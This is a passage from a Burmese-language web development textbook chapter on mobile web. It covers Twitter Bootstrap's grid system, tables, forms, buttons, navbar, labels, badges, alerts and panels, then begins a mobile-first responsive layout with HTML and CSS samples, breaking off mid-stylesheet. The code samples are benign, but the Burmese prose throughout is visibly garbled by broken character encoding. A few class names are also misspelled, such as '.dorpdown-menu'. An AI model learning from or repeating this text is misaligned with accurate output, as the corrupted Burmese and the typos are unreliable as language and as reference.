မာှဆုိရေင် ိနာက်ြတစ်မျို းပဖေစ်သွားပပနပ်ါတယ်။ ဒီိ တာရ့ေှိသမျှ Size ိတအွားလုံးမာှ အဆင်ိ ပပိစဖေိုဆုိ့တာ ိတာ်ိ တာ်
ိလး စဉး်စားစရော ပဖေစ်လာပါတယ်။ 
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ဒပီပဿနာကုိြ ိပဖေရေငှး်နိုငမ်ယ့်  Solution  တစ်ခကုြိတာ့  CSS3 Media Query  ပပဲဖေစ်ပါတယ။်  Media Query  နဲ့
ဘယ်လို  Size  ဆုိရေင်  ဘယ်လိုနညး်လမး်နဲ့ိ ဖောပ်ပရေမလ၊ဲ  Style  ိတကုိွြခွဲပခားသတမ်တှထ်ားနိုငပ်ါတယ်။  ဒါိအကြာင့်
Content  တစ်မျို းတညး်ကိြပုဲ  Screen Size  အမျို းမျို းနဲ့  ိလျာည်ီိ အာင် ိပပာငး်လဲိ ဖောပ်ပိပးတဲ့  CSS Style  ိတွ
ိရေးသားထားနိုငမ်ာှပဖေစ်ပါတယ်။ ဒလီိုိ ရေးသားနညး်ကိြ ုResponsive Web Design လိုိ့ ခါ်အကြပါတယ်။

14.1 - Twitter Bootstrap - CSS Framework
JavaScript Framework ိတ ွPHP Framework ိတရွေှိသလိုပဲ CSS မာှလညး် Framework ိတရွေှိပါတယ်။ အ့ဲဒီ
ထကဲြအများစုကြ  Responsive  Framework  ိတပွဖေစ်အကြပါတယ်။  လက်ြရေှိဒစီာိရေးသားိနချနိမ်ာှ  အထငရ်ောှးဆုံး
CSS Framework ကြိတာ့ Twitter Bootstrap ပဖေစ်ပါတယ်။ Grid System ပါဝငလ်ို့  Element ိတအွတက်ွြ သူ
သတမ်တှထ်ားတဲ့အတိုငး်  class ိတွိ ပးလိုက်ြယံုနဲ့  Layout  ိတအွလယ်ွတစ်ကူြတည်  ိဆာက်ြနိုင်ိ စမာှပဖေစ်  ပါ
တယ်။ 

ပုံ (၁၄-ခ) Twitter Bootstrap - Grid

Twitter Bootstrap ရေဲ့  Grid မာှ  Columns (၁၂) ခပုါဝငပ်ါတယ်။ ပုံ (၁၄-ခ) မာှအကြည့်ပါ။  ဒီ စနစ်ကုိြသုံးပပးီ Two
Columns Layout တစ်ခရုေဖေို့အတက်ွြ  HTML Structure ကုိြ အခလုို သတမ်တှ်ိ ပးရေမာှပဖေစ်ပါတယ်။

<div class="container"> 
  <div class="row"> 
    <div class="col-md-12"></div> 
  </div> 
  <div class="row"> 
    <div class="col-md-4"></div> 
    <div class="col-md-8"></div> 
  </div> 
  <div class="row"> 
    <div class="col-md-12"></div> 
  </div> 
</div>

ိပးထားတဲ့နမနူာမာှ .row  သတမ်တှထ်ားတဲ့ Element (၃) ခပုါလို့ Row (၃) ခနုဲ့ိ ဖောပ်ပိပးမာှပဖေစ်ပါတယ်။ ပထမ
Row  နဲ့  ိအာက်ြဆံုး  Row  တို့မာှ  .col-md-12 လ့ုိသတမ်တှထ်ားတဲ့   Element  ိတ ွ ကုိြယ်စီပါဝငလ်ို့  (၁၂)



Professional Web Developer - အခန်း (၁၄) Mobile Web 454

Columns  စာ  အပပည့်ိ နရောယူတဲ့  Block  တစ်ခစီုိဖောပ်ပိပးမာှပါ။  အလယ်  Row  မာှိတာ့  (၄)  Columns  စာ
.col-md-4 နဲ့  (၈) Columns စာ .col-md-8 ကုိြယ်စီ သတမ်တှထ်ားတဲ့ Block နစ်ှခပုါဝငပ်ါတယ်။ ဒါိအကြာင့်
ရေလဒက်ြ ပုံ (၁၄-ဂ) မာှိဖောပ်ပထားသလို ပဖေစ်ိနမာှပါ။

ပုံ (၁၄-ဂ) Twitter Bootstrap - Basic Layout

Block ိတွိ နရောချထားဖေို့၊ Float ိတလွပုဖ်ေို့၊ Clear ိတလွပုဖ်ေို့ စတဲ့ Layout ကိြစ္စ တကုိွြစိတပ်ဖူေို့ မလိို တာပ့ဲ သက်ြ
ဆုိငရ်ော  Element  အတက်ွြ ဘယ်နစ်ှကွြက်ြစာ ိနရောယူိစချငသ်လဆုိဲတာကုိြ  Class ိတွိ ပးပပးီသတမ်တှလ်ိုက်ြယံုပါ
ပ။ဲ

မတ်ှချကြ် ။ ။ ပုံမာှ Background Color ိတွ Margin ိတွကြို ပမငသ်ာိအာငထ်ည့ိ် ပးထားတာပါ။ Bootstrap Grid ကြိတာ့
ိနရောပခဲျထား ိပးမာှပါ။ Background ိတွ Margin ိတွ ပါဝင်ိ စလုိရေင ်ကြိုယတုိ်ငပ်ဖေည့်စကွြ ်ိရေးသားိပးရေမာှပဖေစပ်ါတယ။်

အထက်ြကြနမနူာထကဲြ  .col-md-12 Class  မာှပါဝငတ်ဲ့  md ဆုိတာ  Medium Device  ဆုိတဲ့အတဓပိ္ပါယ်ပဖေစ်ပါ
တယ်။ Bootstrap ကြ Device Screen အမျို းမျို းအတက်ွြ Layout Class အမျို းမျို းကုိြ သတမ်တှ်ိ ပးထားပါတယ်။
Small Phone Screen ိတအွတက်ွြ xs (Extra Small) Class ိတကုိွြသံုးရေပါတယ်။ Tablet Screen ိတအွတက်ွြ
sm (Small)  Class  ိတကုိွြသံုးရေပါတယ်။  TV  လို  အလနွက်ကီြးတဲ့  Screen  အတက်ွြိတာ့  lg (Large  Device)
Class ိတကုိွြ သံုးရေပါတယ်။

ဒါိအကြာင့်ိ ပးထားတဲ့ Code နမနူာကုိြ Desktop မာှတစ်မျို း၊ Tablet မာှတစ်မျို း နဲ့ Smartphone မာှတစ်မျို း အမျို း
မျို း ိဖောပ်ပနိုငတ်ဲ့ Layout ပဖေစ်ိအာင ်အခလုိုပပငဆ်င်ိ ရေးသားနိုငပ်ါတယ။်

<div class="container"> 
  <div class="row"> 
    <div class="col-md-12 col-sm-12 col-xs-12"></div> 
  </div> 
  <div class="row"> 
    <div class="col-md-4 col-sm-6 col-xs-12"></div> 
    <div class="col-md-8 col-sm-6 col-xs-12"></div> 
  </div> 
  <div class="row"> 
    <div class="col-md-12 col-sm-12 col-xs-12"></div> 
  </div> 
</div>
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အလယ်  Row  ထဲကြ  Column  တစ်ခကုိုြ  col-md-4 col-sm-6 col-xs-12 လ့ုိသတမ်တှထ်ားတဲ့အတက်ွြ
Desktop  Screen  မာှဆုိရေင်  (၄)  ကွြက်ြစာိနရောယူိဖောပ်ပပပးီ၊  Tablet  Screen  မာှဆုိရေင်  (၆)  ကွြက်ြစာနဲ့  Phone
Screen မာှဆုိရေင်  (၁၂) ကွြက်ြစာိဖောပ်ပဖေို့ သတမ်တှလ်ိုက်ြပခင်းပဖေစ်ပါတယ်။ ဒါိအကြာင့်ရေလဒက်ြ ပုံ  (၁၄-ဃ) မာှိဖောပ်ပ
ထားသလို ရေရေှိ ိနမာှပပဲဖေစ်ပါတယ်။

ပုံ (၁၄-ဃ) Responsive Layout with Twitter Bootstrap

အလယ် Row ထဲကြ Block ိတကုိွြ Desktop Screen မာှဆုိရေင် (၄) ကွြက်ြစာနဲ့ (၈) ကွြက်ြစာိနရောယူတဲ့ Column
နစ်ှခုိ ဖောပ်ပပပးီ၊  Tablet Screen မာှိတာ့  (၆)ကွြက်ြစာ Column နစ်ှခအုညယူီပပီးိဖောပ်ပိပးမာှပဖေစ်ပါတယ။် Phone
Screen မာှိတာ့ (၁၂) ကွြက်ြစာအပပည့်စီယူ လိုက်ြတဲ့အတက်ွြ Column အိနနဲ့ မိဖောပ်ပိတာပ့ဲ အထက်ြိအာက်ြဆင့်
ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ့  Twitter Bootstrap  ကုိြသံုးပပးီ  Layout  တစ်ကကိြမ်ိ ရေးသားယံုနဲ့  Screen Size
အမျို းမျို းအတက်ွြ အလိုအိလျှာက်ြိပပာငး်လဲိ ဖောပ်ပိပးနိုငတ်ဲ့  Responsive Web Design  လုပ်ိ ဆာငခ်ျက်ြကုိြ ရေရေှိ
နိုငမ်ာှပ ဲပဖေစ်ပါတယ်။

Twitter Bootstrap ကုိြ http://getbootstrap.com မာှ Download ရေယူနိုငပ်ါတယ်။ 

http://getbootstrap.com/
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Bootstrap Basic Styles
Bootstrap မာှ Layout အပပင် အပခားလပု်ိ ဆာငခ်ျက်ြိတလွညး်ပါဝငပ်ါိသးတယ်။ တစ်လက်ြစတညး် အနညး်ငယ်
ထည့်သွငး် ိဖောပ်ပချငပ်ါတယ်။ Bootstrap Basic Element ိတပွဖေစ်အကြတဲ့ h1-h6, p, a စတဲ့ Element ိတွ
အတက်ွြ  သင့်ိ တာတ်ဲ့  Default  Style  ိတ ွ ကကိြုတငသ်တမ်တှထ်ားိပးပပးီပဖေစ်ပါတယ်။  အ့ဲဒီ  Element  ိတကုိွြ
Bootstrap Style နဲ့ ိဖောပ်ပိစဖေို့အတက်ွြ Class ိတ ွသတမ်တှ်ိ ပးိနစရောမလိုပါဘးူ။ Table လို Element မျို းကုိြ
Bootstrap Style နဲ့ ိဖောပ်ပိစလိုရေင်ိ တာ ့.table Class သတမ်တှ်ိ ပးဖေို့လိုပါတယ်။ ဥပမာ -

<table class="table">
  <tr>
    <th> … </th>
    <th> … </th>
  </tr>
  <tr>
    <td> … </td>
    <td> … </td>
  </tr>
</table>

ရေရေှိမယ့်နမနူာရေလဒက်ြိတာ ့အခလုိုပဖေစ်ပါတယ်။

ပုံ (၁၄-င) Bootstrap Table

Table  ိဘးပါတလ်ညမ်ာှ  Border  ပါဝငသွ်ားိစလိုရေင်  .table-bordered ကုိြအသံုးပပုနိုငပ်ပးီ  Row  ိတကုိွြ
Zebra Stripping နဲ့ိ ဖောပ်ပိစလိုရေင ်.table-striped ကုိြ အသံုးပပုနိုငပ်ါတယ်။ ဥပမာ -

<table class="table table-striped table-bordered">
  <tr>
    <th> … </th>
    <th> … </th>
  </tr>
  <tr>
    <td> … </td>
    <td> … </td>
  </tr>
</table>
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Input,  Select,  Textarea  စတဲ့  Form Element  ိတကုိွြ  Bootstrap Style  နဲ့  ိဖောပ်ပိစလိုရေင်ိ တာ့  .form-
control ကုိြ သတမ်တှ်ိ ပးရေပါတယ်။ အကြယ်၍ Input Element တစ်ခု ကုိြ Label Element နဲ့တွဲဖေက်ြိဖောပ်ပိစ
လို ရေင်ိ တာ ့.form-group Element တစ်ခနုဲ့ စုစညး်ိရေးသားပါရေပါတယ်။ ဥပမာ -

<div class="form-group"> 
  <label for="email">Email address</label> 
  <input type="email" class="form-control" id="email"> 
</div>

Button တစ်ခု (သုိမ့ဟတု်) Link တစ်ခကုိုြ Bootstrap Button ပုံစံိဖောပ်ပိစလိုရေင် .btn Class ကုိြ အသံုးပပုရေပါ
တယ်။ .btn နဲ့အတူ  .btn-default, .btn-primary, .btn-success, .btn-info, .btn-
warning, .btn-danger စတဲ့ Class ိတကုိွြလညး် တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။ အကြယ်၍ Button ကုိြ Link
ပုံစံ ိဖောပ်ပိစလိုတယ်ဆုိရေငလ်ညး် .btn-link ကုိြ သံုးနိုငပ်ါိသးတယ်။

ပုံ (၁၄-စ) Bootstrap Buttons

တစ်ခထုက်ြပိုတဲ့ Button ိတကုိွြ အတွဲလိုက်ြစုစညး်ထားချငရ်ေင် .btn-group Class သတမ်တှထ်ားတဲ့ Element
တစ်ခတုညး်မာှ ထည့်သွငး်စုစညး်ထားနိုငပ်ါတယ်။

စာလုံးအိရောငအ်တက်ွြလညး် သက်ြဆုိငရ်ော Element မာှ  .text-primary, .text-success, .text-
info, .text-warning, .text-danger စသပဖေင့် Bootstrap Text Color ိတကုိွြ သတမ်တှ်ိ ပးနိုငပ်ါ
တယ်။ အိရောငမ်ှိနပ်ပီးိဖောပ်ပိစလိုတဲ့ Text ိတအွတက်ွြလညး် .text-muted ကုိြ အသံုးပပုနိုငပ်ါတယ်။

အလားတပူဲ  Element  တစ်ခရုေဲ့  Background  Color  ကုိြ  Bootstrap  Color  နဲ့  သတမ်တှလ်ိုရေငလ်ညး်  .bg-
primary, .bg-success, .bg-info စသပဖေင့် သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ ပဖေည့်စွက်ြမတှသ်ားသင့်တဲ့ Style
ကြိတာ့  .pull-left နဲ့  .pull-right တို့ပပဲဖေစ်ပါတယ်။  Element  တစ်ခကုိုြ  ညာဘက်ြကြပ်ိ စလိုရေင်
(float: right ပပုလပု်ိ စလိုရေင)်  .pull-right ကုိြ  သံုးနိုငပ်ပးီ၊  ဘယ်ဘက်ြကြပ်ိ စလိုရေင်ိ တာ့  .pull-
left ကုိြ သံုးနိုငပ်ါတယ်။ Drop-down Arrow ိလးတစ်ခု ( ) ▼ ိဖောပ်ပိစလိုရေင်ိ တာ့ ိအာက်ြပါအတိုငး်သတမ်တှ်
နိုငပ်ါတယ။်

<span class="caret"></span>

ိနာက်ြထပထ်းူပခားချက်ြအိနနဲ့၊  Element  ိတကုိွြ တစ်ချို ့  Screen Size  ိတမွာှိဖောပ်ပိစလိုပပးီ၊ တစ်ချို ့  Screen
Size  ိတမွာှ  မိဖောပ်ပိစလိုရေင်  သတမ်တှန်ိုငတ်ဲ့  Class  ိတလွညး်ရေှိပါိသးတယ်။  ဥပမာ  -  Element  တစ်ခမုာှ
.hidden-xs လို့ သတမ်တှထ်ားရေင် အ့ဲဒီ Element ကုိြ Extra Small Device ိတမွာှ မိဖောပ်ပပဲိ ဖေျာက်ြထားိပး
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မာှ ပဖေစ်ပါတယ်။ အလားတူ  Class  ိတပွဖေစ်တဲ့  .hidden-sm, .hidden-md နဲ့  .hidden-lg တို့ကုိြလညး်
လိုအပသ်လို အသံုးပပုနိုငပ်ါတယ်။

ိပပာငး်ပပနအ်ားပဖေင့် Element တစ်ခကုိုြ ကြျန် Screen Size ိတမွာှ မိဖောပ်ပိစလိုပ၊ဲ Extra Small Device ိတမွာှ
သာ ိဖောပ်ပိစလိုရေင် .visible-xs-* ကုိြ အသံုးပပုနိုငပ်ါတယ်။ ဒလီိုသတမ်တှ်ိ ပးလိုက်ြရေင် Element ကုိြ Extra
Small  Device  မာှသာ  ိဖောပ်ပပပးီ  ကြျန်  Screen  Size  ိတမွာှ  ိဖေျာက်ြထားိပးမာှပဖေစ်ပါတယ်။  အလားတူ
Responsive Style Class ိတကုိွြ ိအာက်ြပါဇယားမာှ ိလ့လာနိုငပ်ါတယ်။

ပုံ (၁၄-ဆ) Bootstrap Responsive Classes

Bootstrap Components
Bootstrap  Component  ိတထွမဲာှ  အိပခခအံကြျဆံုးကြိတာ့  Icon  ပဖေစ်ပါတယ်။  Icon  ိတအွသံုးပပုဖေို့အတက်ွြ
သီးပခား  Image  ိတထွည့်သွငး်ိနစရောမလိုပဲ  Bootstrap  နဲ့အတပူါဝငလ်ာတဲ့  Icon  ိတကုိွြ အသံုးပပုနိုငပ်ါတယ်။
ဥပမာ - Button တစ်ခမုာှ Add Icon ကုိြထည့်သွင်းိဖောပ်ပိစလိုရေင ်အခလုို သတမ်တှန်ိုငပ်ါတယ်။

<button class="btn btn-default">
  <span class="glyphicon glyphicon-plus-sign"></span> Add User
</button>

Icon ထည့်သွငး်ဖေို့အတက်ွြ <span> Element ကုိြ အသံုးပပုပပးီ  .glyphicon Class နဲ့အတူ တဲွဖေက်ြအသံုးပပုလို
တဲ့  Icon Type  ကုိြ  တွဲဖေက်ြိပးရေပါတယ်။ နမနူာမာှ  .glyphicon-plus-sign ကုိြ  အသံုးပပုထားတဲ့အတက်ွြ
ရေလဒမ်ာှ Plus သိကြအင်္ဂတ Icon ပါဝငလ်ာတာကုိြိတွ့ရေမာှပဖေစ်ပါတယ်။ getbootstrap.com/components မာှ Icon

http://getbootstrap.com/components
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စာရေငး်အပပည့် အစံုကုိြ ဆက်ြလက်ြိလလ့ာနိုငပ်ါတယ်။

Component ိတထွမဲာှ အိရေးပါတဲ့ လုပ်ိ ဆာငခ်ျက်ြတစ်ခကုြိတာ့ Drop-down Menu ပဖေစ်ပါတယ်။ Bootstrap
Style Drop-down Menu တစ်ခရုေရေှိဖေို့ အခလုို ိရေးသားနိုငပ်ါတယ်။

<div class="dropdown"> 
  <button class="btn btn-default" data-toggle="dropdown"> 
    Dropdown <span class="caret"></span> 
  </button> 
  <ul class="dropdown-menu"> 
    <li> ... </li> 
    <li> ... </li> 
  </ul> 
</div>

Drop-down Trigger  လုပ်ိ ပးမယ့်  Link (သုိမ့ဟတု်) Button  တစ်ခနုဲ့  .dorpdown-menu Class  အသံုးပပု
ထားတဲ့  <ul> Element  တို့ကုိြ  Element  တစ်ခအုတငွး်မာှ  အတတူစ်ကွြထည့်သွငး်ိပးရေပပးီ  Trigger  Link
(သုိမ့ဟတု်) Button မာှ  data-toggle Attribute နဲ့  dorpdown လိုိ့ ပပာလိုက်ြယံုနဲ့  Bootstrap Style Drop-
down Menu တစ်ခကုိုြ ရေရေှိနိုငမ်ာှပပဲဖေစ်ပါတယ်။ <li> Element ိတထွကဲြ Divider (ကြန့်လန့်ပဖေတလ်ိုငး်) အပဖေစ်
အသံုးပပုလိုတဲ့  Element  မာှ  .divider ကုိြ  အသံုးပပုနိုငပ်ါတယ်။  တစ်ချက်ြသတပိပုသင့်တာကြိတာ၊့  Drop-
down Menu  အပါအဝင်  Bootstrap  ရေဲ့  အချို ့လပု်ိ ဆာငခ်ျက်ြိတကွြ  jQuery  အသံုးပပု ိရေးသားထားပခငး်ပဖေစ်တဲ့
အတက်ွြ jQuery ပါမ ှအလပုလ်ပုမ်ာှပဖေစ်ပါတယ်။
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ိနာက်ြထပအ်သုံးဝငတ်ဲ့ Component ကြိတာ ့Navigation Menu Bar ပါ။ အခလုို ထည့်သွငး်နိုငပ်ါတယ်။

<nav class="navbar navbar-default"> 
  <div class="container-fluid"> 
    <div class="navbar-header"> 
      <a class="navbar-brand" href="#">Brand</a> 
    </div> 

    <ul class="nav navbar-nav"> 
     <li class="active"><a href="#">Link</a></li> 
     <li><a href="#">Link</a></li> 

    </ul> 
  
  </div> 
</nav> 

Navigation Bar  အတက်ွြ .navbar .navbar-default Class  တို့ကုိြသံုးရေပပီး၊  Menu Item ိတအွတက်ွြ
.nav  .navbar-nav Class  တို့သတမ်တှထ်ားတဲ့  <ul> Element  တစ်ခကုိုြ  အသံုးပပုရေပခငး်ပဖေစ်ပါတယ်။
ပဖေည့်စွက်ြချက်ြအိနနဲ့  Brand Name  ကုိြ  Menu Bar  ထမဲာှ ထည့်သွငး်ိဖောပ်ပိစလိုတဲ့အခါ  .navbar-header
Element  ထဲကြ  .navbar-brand Element  နဲ့  သတမ်တှ်ိ ပးနိုငပ်ါတယ်။  Menu  Item  ိတထွကဲြ  လက်ြရေှိ
ိရေးွချယ်ထားိအကြာငး် ိပါ်လငွ်ိ စလိုတဲ့ Item မာှ .active Class ကုိြ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ 

Drop-down Menu ိတ ွButton ိတနွဲ့ Form Element ိတလွညး် လုိအပရ်ေင် Navbar ထဲမာှ တွဲဖေက်ြထည့်သွငး်
အသံုးပပုနိုငသ်လို၊ ညာဘက်ြကြပ်ိ ဖောပ်ပိစလိုတဲ့  Menu ရေှိနရေငလ်ညး်  .pull-right Class  ကုိြ တွဲဖေက်ြအသံုးပပု
နိုင် ပါတယ်။ ဒါ့အပပင် Navbar ကုိြနမနူာမာှပပထားသလို Light Color နဲ့ မဟတုပ်ဲ Dark Color နဲ့ ိဖောပ်ပိစလိုရေင်
.navbar-inverse ကုိြ .navbar-default အစား အစားထိုးအသံုးပပုနိုငပ်ါတယ်။

အိရောင်ိ လးိတနွဲ့ိ ဖောပ်ပတဲ့  Tag  Label  ိတအွသံုးပပုလိုရေင်  .label Class  နဲ့အတူ  .label-success,
.label-info, .label-warning, .label-danger စသပဖေင့် တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။

<span class="label label-default">Default</span> 
<span class="label label-primary">Primary</span> 
<span class="label label-success">Success</span> 
<span class="label label-info">Info</span> 
<span class="label label-warning">Warning</span> 
<span class="label label-danger">Danger</span>
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Menu Item (သုိမ့ဟတု်)  အပခားလိုအပတ်ဲ့ိ နရောိတမွာှ  Item Count Notification  ကုိြ  တွဲဖေက်ြိဖောပ်ပဖေို့အတက်ွြ
Badge ကုိြ အသံုးပပုနိုငပ်ါတယ်။

<a href="#">Inbox <span class="badge">42</span></a>

Error Message (သုိမ့ဟတု်) အလားတ ူInformation ိတွိ ဖောပ်ပဖေို့အတက်ွြကုိြ အသံုးပပုနိုငပ်ါတယ်။

<div class="alert alert-success">...</div> 

.alert-success အစား  .alert-info, .alert-warning, .alert-danger စတဲ့  Class  ကုိြ
လိုအပသ်လိုအစားထိုးအသံုးပပုနိုငပ်ါတယ်။  Component  ိတထွမဲာှ  ိနာက်ြဆံုးမတှသ်ားသင့်တဲ့  Component
ကြိတာ ့Panel ပဖေစ်ပါတယ်။ အခလုိုိ ရေးသားရေပါတယ်။

<div class="panel panel-primary">
  <div class="panel-header">Panel Title</div>
  <div class="panel-body">Panel Content</div>
</div>

နမနူာမာှ  .panel နဲ့အတူ  .panel-primary ကုိြ  တွဲဖေက်ြအသံုးပပုထားပါတယ်။  ထံုးစံအတိုငး်  .panel-
primary အစား  .panel-success, .panel-info, .panel-warning, .panel-danger တို့
ကုိြ တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။ Panel အတငွး်မာှ .panel-header, .panel-body နဲ့ .panel-footer
သတမ်တှထ်ားတဲ့ Element ိတကုိွြ အသီးသီးထည့်သွငး်အသံုးပပုနိုငပ်ါတယ်။

Responsive Layout နဲ့အတူ အခလုို အသံုးဝငတ်ဲ့  Style ိတ ွComponent ိတ ွပါဝငတ်ဲ့အတက်ွြ ိလလ့ာအသံုး
ပပုသင့်တဲ့ နညး်ပညာတစ်ခပုဖေစ်ပါတယ်။ အိသးစတိကုိ်ြ getbootstrap.com ဆက်ြလက်ြိလလ့ာနိုငပ်ါတယ်။

http://getbootstrap.com/


Professional Web Developer - အခန်း (၁၄) Mobile Web 462

14.2 - A Responsive Layout from Scratch
Twitter Bootstrap လို  Framework ိတကွြ အသံုးဝင်ိ ပမယ့် သူတို့ကုိြချညး် အားကုိြးိနလို့မရေပါဘးူ။ လိုအပရ်ေင်
ကုိြယ်တိုင် ဖေနတ်းီနိုင်ိ စဖေို့  Responsive Layout  တစ်ခု အစအဆံုး ကုိြယတ်ိုင် ိရေးသားတည်ိ ဆာက်ြပုံကုိြ ိဖောပ်ပ
ိပးသွားပါမယ်။

Screen Size  အမျို းမျို းနဲ့  အဆင်ိ ပပိစမယ့်  Design  ိတ ွတည်ိ ဆာက်ြတဲ့ိ နရောမာှ ချညး်ကြပပ်ုံနစ်ှမျို းရေှိပါတယ်။
တစ်မျို းကြိတာ့  Desktop  Screen  အတက်ွြအရေငဆံု်းဖေနတ်းီပပးီ၊  ိနာက်ြိတာမ့ှ  Mobile  Screen  ိတအွတက်ွြ
အဆင် ိပပိအာင ်ဆက်ြလက်ြပပငဆ်င်သွားပခငး်ပဖေစ်ပါတယ်။ ဒနီညး်ကုိြ Graceful Degradation (အဆင့်လိုက်ြိလျှာ့
ချသွားပခငး်)  လိုိ့ ခါ်ပါတယ်။  Mobile  Screen  ိတဟွာိသးတဲ့အတက်ွြ  Desktop  Screen  မာှက့ဲြသုိ၊့  ရေှိသမျှ
လပု်ိ ဆာငခ်ျက်ြအားလုံး ကုိြိဖောပ်ပဖေိုမ့သင့်ပါဘးူ။ ဒါိအကြာင့် မပဖေစ်မိန လုိအပတ်ဲ့ လုပ်ိ ဆာငခ်ျက်ြိတကုိွြသာိဖောပ်ပ
ပပးီ အချို ့လပု်ိ ဆာငခ်ျက်ြ ိတကုိွြ ဖေယ်ထတုပ်ပစ်ရေိလရ့ေှိပါတယ်။  Screen  နညး်နညး်ိသးရေင် နညး်နညး်ဖေယ်ထတုရ်ေ
ပပးီ များများိသးရေင် များများဖေယ် ထတုသွ်ားရေလို့ အဆင့်လိုက်ြိလျှာခ့ျပခငး်လို့ ိခါ်အကြပခငး်ပဖေစ်ပါတယ်။ ဒနီညး် မာှ
Desktop User  များကြ အဓကိြဦးစား ိပးပဖေစ်ပပးီ  Mobile User  များအတက်ွြ  Desktop Design  ကုိြ ပပုပပင်ိ ပး
လိုက်ြပခငး်ပဖေစ်ပါတယ်။

ိနာက်ြတစ်နညး်ကြိတာ ့ိပပာငး်ပပနပ်ါ။ Mobile First လ့ုိိခါ်ပါတယ်။  အိသးဆုံး Screen ပဖေစ်တဲ့ Smart Phone
Screen အတက်ွြ အရေင်ဆံုးဖေနတ်းီပပီး၊ Screen Size ကကီြးလာတာနဲ့အမျှ လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ပဖေည့်စွက်ြိဖောပ်ပ နိုင်
ိအာငဖ်ေနတ်းီပခငး်ပဖေစ်ပါတယ်။  Progressive Enhancement (အဆငလ်ိုက်ြ ပမငှ့်တငသွ်ားပခငး်)  လ့ုိိခါ်ပါတယ်။ ဒီ
နညး်မာှိတာ့  Mobile User  များကြ အဓကိြဦးစားိပးပဖေစ်ပပးီ  Desktop User  များအတက်ွြ Mobile Design  မာှ
ပဖေည့်လို့ရေတာ ိတ ွထပပ်ဖေည့်ိ ပးလိုက်ြတဲ့ သိဘာပဖေစ်ပါတယ်။

၂၀၁၀  ခနုစ်ှမာှ  အ့ဲဒအီချနိက်ြ  Google  CEO  ပဖေစ်တဲ့  Eric  Schmidt  ကြ  Google  အိနနဲ့  Mobile  First
Approach  ကုိြ  သွားိတာမ့ယ်လို့  ိအကြပငာခဲ့ရောကြိန Mobile  First  Progressive  Enhancement  ကြ ပိုပပးီလူ
ကကိြုက်ြများလာခဲ့ပါတယ်။  အမနှ်ိ တာ့  ထည့်ချငရ်ောအရေငထ်ည့်ပပးီမှ  ဘာပပနပ်ဖေုတရ်ေမလစဲညး်စားပခငး်ထက်ြ၊  ရေနိုင်
သိလာက်ြ  အတငွး်မာှ  အိကြာငး်ဆံုး  ပဖေစ်ိအာငတ်ည်ိ ဆာက်ြပပးီမှ  ဘာထပပ်ဖေည့်ရေမလစဲဉး်စားပခငး်ကြ  ပိုပပးီ
ိကြာငး်မနွတ်ဲ့ချညး်ကြပပ်ုံပဖေစ်လို့ Mobile First ကုိြ ပိုပပးီလကူကိြုက်ြများလာ အကြပခငး်လညး်ပဖေစပ်ါတယ်။ ကြျွန်ိ တာတ်ို့
နမနူာတည်ိ ဆာက်ြမယ့် Responsive Style ကုိြလညး် Mobile First ပုံစံ ဆက်ြလက်ြ တည်ိ ဆာက်ြသွားပါမယ်။

ပထမဆံုးအိနနဲ ့HTML Document တစ်ခတုည်ိ ဆာက်ြပပးီ ိအာက်ြပါ Structure ကုိြ ကူြးယူထည့်သွငး်ိပးပါ။
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<!doctype html> 
<html> 
<head> 
  <meta charset="UTF-8"> 
  <title>Responsive Design</title>

  <meta name="viewport" content="width=device-width, initial-scale=1">
</head> 
<body> 
  <header> 
    <a href="#" class="des">Learn more about responsive design?</a> 
    <span class="logo"> </span> ✪
    <hgroup> 
      <h1>A Responsive Design</h1> 
      <h2>Inspired by the Goldilocks Approach</h2> 
    </hgroup> 
  </header> 
  <nav> 
    <ul> 
      <li><a href="#">Home</a></li> 
      <li><a href="#">About</a></li> 
      <li><a href="#">Contact</a></li> 
      <li><a href="#">Services</a></li> 
      <li><a href="#">Products</a></li> 
      <li><a href="#">FAQs</a></li> 
    </ul> 
  </nav> 
  <section class="content"> 
    <article></article> 
    <article></article> 
    <article></article> 
    <article></article> 
  </section> 
  <footer> 
    <p>&copy; Copyright 2011. All right reserved.</p> 
  </footer> 
</body>
</html>

ဒီ  Structure  မာှ  Section  ိလးခပုါဝငပ်ါတယ်။  Header, Nav, Content Section  နဲ့  Footer  တို့ ပဖေစ်ပါတယ်။
Header ထမဲာှ Logo, Name နဲ့ Description ိတပွါဝငပ်ါတယ်။ Nav ထဲမာှိတာ့ Navigation List တစ်ခု ပါဝင်
ပါတယ်။  Content  Section  ထမဲာှိတာ့  Article  ိလးခု  ပါဝငပ်ါတယ်။  Footer  ထဲမာှိတာ့  Copyright
Statement တစ်ခပုါဝငပ်ါတယ်။

သတပိပုသင့်တာကြ viewport ဆုိတဲ့ <meta> Element ပဖေစ်ပါတယ်။ ဒီ Element ကြ Mobile Browser ိတွ
မာှိဖောပ်ပတဲ့အခါ "Screen size နဲ့ဆန့်ိ အာငခ်ျုံ့မပပပါနဲ့၊ အရေှိအတိုငး်ပပဲပိပးပါ" လို့ အသိိပးထားပခငး်ပဖေစ်ပါတယ်။
ကြျွန်ိ တာတ်ို့ကြ  Layout  ကုိြ  အလိုအိလျှာက်ြ  ိပပာငး်ပပီး  အလပုလ်ပု်ိ အာင်  ိရေးသားထားမာှမို့  ကြျွန်ိ တာတ်ို့ရေဲ့
Website ကုိြ ချုံ့အကြည့်စရောမလိုပ ဲအဆင်ိ ပပမျာမို့ပဲ ပဖေစ်ပါတယ်။
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ဒီ  Structure  ကုိြ  Mobile  Screen  ိတနွဲ့သင့်ိ တာတ်ဲ့  Style  ရေရေှိဖေို့အတက်ွြ  CSS  ကုိြ  အရေင်ိ ရေးသားပါတယ်။
သီးပခား External Style နဲ့ပပဲဖေစပ်ဖေစ်လက်ြရေှိ  Document ထမဲာှ <style> Element နဲ့ပပဲဖေစ်ပဖေစ် ိပးထားတဲ့ CSS
ကုိြ ကူြးယူ ထည့်သွင်းိပးပါ။ 

html { 
  background: #ECF0F1; 
  margin: 0; 
  padding: 0; 
} 
body { 
  font-family: Arial, Helvetica, sans-serif; 
  line-height: 1.5em; 
  padding: 0.8em; 
  max-width: 30em; 
  margin: 1em auto; 
  background: #fff; 
  border: 4px solid #BDC3C7; 
  box-shadow: 0 0 10px #ddd; 
} 

a { 
  color: #2980B9; 
  text-decoration: none; 
